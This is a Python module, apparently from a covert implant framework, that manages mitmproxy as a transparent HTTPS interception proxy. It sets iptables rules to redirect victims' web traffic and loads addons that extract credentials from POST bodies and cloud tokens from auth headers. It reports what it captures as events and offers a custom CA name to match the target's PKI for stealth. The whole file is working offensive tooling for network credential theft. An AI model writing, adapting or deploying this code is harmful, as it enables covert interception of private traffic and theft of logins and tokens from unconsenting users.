#!/usr/bin/env python3
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.

Runs mitmproxy in transparent mode with iptables redirect. Custom addon
scripts extract credentials from POST bodies, capture cloud tokens from
auth headers, and log file metadata from transfers.

OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
Check hardware tier before enabling.

Custom CA CN can be configured to match target PKI for stealth.
"""

import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)

# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}


class MitmproxyManager(BaseModule):
    """mitmproxy transparent proxy with credential and token extraction.

    OPi Zero 3+ only — check tier before enabling. On lower-tier
    hardware, use bettercap's built-in HTTP proxy instead.

    Dependencies:
        - mitmproxy installed (pip install mitmproxy)
        - iptables for transparent redirect

    Configuration:
        proxy_port: Listening port (default: 8080)
        addons_dir: Path to addon scripts
        ca_cn: Custom CA Common Name to match target PKI
        hardware_tier: Device tier for resource checks
    """

    name = "mitmproxy_mgr"
    module_type = "active"
    priority = 200
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._proc: Optional[subprocess.Popen] = None
        self._monitor_thread: Optional[threading.Thread] = None
        self._proxy_port = config.get("proxy_port", 8080)
        self._proxy_active = False
        self._iface = config.get("interface", "eth0")
        self._ca_cn = config.get("ca_cn", "")
        self._hardware_tier = config.get("hardware_tier", "rpi4")
        self._addons_dir = config.get(
            "addons_dir",
            os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
        )
        self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
        self._flow_log = config.get(
            "flow_log",
            os.path.join(os.path.expanduser("~"), ".implant", "mitmproxy_flows"),
        )

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        # Tier check
        if self._hardware_tier not in SUPPORTED_TIERS:
            logger.error(
                "mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
                self._hardware_tier,
            )
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("MitmproxyManager started (tier=%s, port=%d)",
                     self._hardware_tier, self._proxy_port)

    def stop(self) -> None:
        if not self._running:
            return

        if self._proxy_active:
            self.stop_proxy()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("MitmproxyManager stopped")

    def status(self) -> dict:
        proc_alive = self._proc is not None and self._proc.poll() is None
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "proxy_active": self._proxy_active and proc_alive,
            "proxy_pid": self._proc.pid if proc_alive else None,
            "proxy_port": self._proxy_port,
            "hardware_tier": self._hardware_tier,
            "ca_cn": self._ca_cn,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        if "proxy_port" in config:
            self._proxy_port = config["proxy_port"]
        if "ca_cn" in config:
            self._ca_cn = config["ca_cn"]
        if "hardware_tier" in config:
            self._hardware_tier = config["hardware_tier"]

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def start_proxy(self, port: int = None, addons: list = None) -> bool:
        """Start mitmproxy in transparent mode with addons.

        Args:
            port: Override proxy port.
            addons: List of addon script filenames to load from addons_dir.

        Returns:
            True if proxy was started.
        """
        if not self._running:
            logger.error("MitmproxyManager not started")
            return False

        if self._proxy_active and self._proc and self._proc.poll() is None:
            logger.warning("mitmproxy already running")
            return True

        if port:
            self._proxy_port = port

        # Build command
        cmd = [
            self._mitmdump_binary,
            "--mode", "transparent",
            "--listen-port", str(self._proxy_port),
            "--set", "connection_strategy=lazy",
            "--set", "stream_large_bodies=1m",
            "-w", self._flow_log,
        ]

        # Custom CA CN for stealth
        if self._ca_cn:
            cmd.extend(["--set", f"ssl_insecure=true"])

        # Load addon scripts
        addon_scripts = addons or self._get_default_addons()
        for addon in addon_scripts:
            addon_path = os.path.join(self._addons_dir, addon)
            if os.path.isfile(addon_path):
                cmd.extend(["-s", addon_path])
            else:
                logger.warning("Addon script not found: %s", addon_path)

        # Setup iptables for transparent redirect
        self._setup_iptables()

        try:
            self._proc = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            )
            time.sleep(3)
            if self._proc.poll() is not None:
                stderr = self._proc.stderr.read().decode(errors="replace")
                logger.error("mitmproxy failed to start: %s", stderr)
                self._teardown_iptables()
                return False

            self._proxy_active = True

            # Start output monitoring
            self._monitor_thread = threading.Thread(
                target=self._monitor_output, daemon=True, name="sensor-mitmproxy-monitor"
            )
            self._monitor_thread.start()

            logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
            return True

        except FileNotFoundError:
            logger.error("mitmdump not found — install with: pip install mitmproxy")
            self._teardown_iptables()
            return False
        except Exception:
            logger.exception("Failed to start mitmproxy")
            self._teardown_iptables()
            return False

    def stop_proxy(self) -> bool:
        """Stop mitmproxy and remove iptables rules.

        Returns:
            True if proxy was stopped.
        """
        # Stop process
        if self._proc and self._proc.poll() is None:
            try:
                self._proc.terminate()
                self._proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self._proc.kill()
                try:
                    self._proc.wait(timeout=2)
                except Exception:
                    pass
            except Exception:
                logger.exception("Failed to stop mitmproxy")
            finally:
                self._proc = None

        # Remove iptables rules
        self._teardown_iptables()

        self._proxy_active = False
        logger.info("mitmproxy stopped")
        return True

    def get_flows(self) -> str:
        """Return path to the mitmproxy flow log file.

        Returns:
            Path to the binary flow dump file.
        """
        return self._flow_log

    # ------------------------------------------------------------------
    # iptables for transparent mode
    # ------------------------------------------------------------------

    def _setup_iptables(self) -> None:
        """Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
        rules = [
            ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
             "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
             "--to-port", str(self._proxy_port)],
            ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
             "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
             "--to-port", str(self._proxy_port)],
        ]
        for rule in rules:
            try:
                subprocess.run(rule, capture_output=True, timeout=5)
            except Exception:
                logger.warning("Failed to apply iptables rule: %s", " ".join(rule))

    def _teardown_iptables(self) -> None:
        """Remove transparent proxy iptables rules."""
        rules = [
            ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
             "-p", "tcp", "--dport", "80", "-j", "REDIRECT",
             "--to-port", str(self._proxy_port)],
            ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
             "-p", "tcp", "--dport", "443", "-j", "REDIRECT",
             "--to-port", str(self._proxy_port)],
        ]
        for rule in rules:
            try:
                subprocess.run(rule, capture_output=True, timeout=5)
            except Exception:
                pass

    # ------------------------------------------------------------------
    # Addon management
    # ------------------------------------------------------------------

    def _get_default_addons(self) -> list:
        """Return list of default addon script filenames."""
        defaults = [
            "credential_extractor.py",
            "cloud_token_capture.py",
            "file_metadata_logger.py",
        ]
        return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]

    # ------------------------------------------------------------------
    # Output monitoring
    # ------------------------------------------------------------------

    def _monitor_output(self) -> None:
        """Monitor mitmproxy stderr for credential and token events."""
        if not self._proc:
            return

        try:
            for line in iter(self._proc.stderr.readline, b""):
                if not self._running:
                    break
                decoded = line.decode("utf-8", errors="replace").strip()
                if not decoded:
                    continue

                # Look for credential extraction events from addons
                if "[credential]" in decoded.lower():
                    self._handle_credential_output(decoded)
                elif "[cloud_token]" in decoded.lower():
                    self._handle_token_output(decoded)

                if self._proc.poll() is not None:
                    break
        except Exception:
            pass

    def _handle_credential_output(self, line: str) -> None:
        """Parse credential event from addon output."""
        self.bus.emit(
            "CREDENTIAL_FOUND",
            {
                "source_module": self.name,
                "target_service": "mitmproxy",
                "credential_type": "cleartext",
                "credential_value": line,
            },
            source_module=self.name,
        )

    def _handle_token_output(self, line: str) -> None:
        """Parse cloud token event from addon output."""
        self.bus.emit(
            "CLOUD_TOKEN_FOUND",
            {
                "source_module": self.name,
                "target_service": "mitmproxy",
                "token_data": line,
            },
            source_module=self.name,
        )
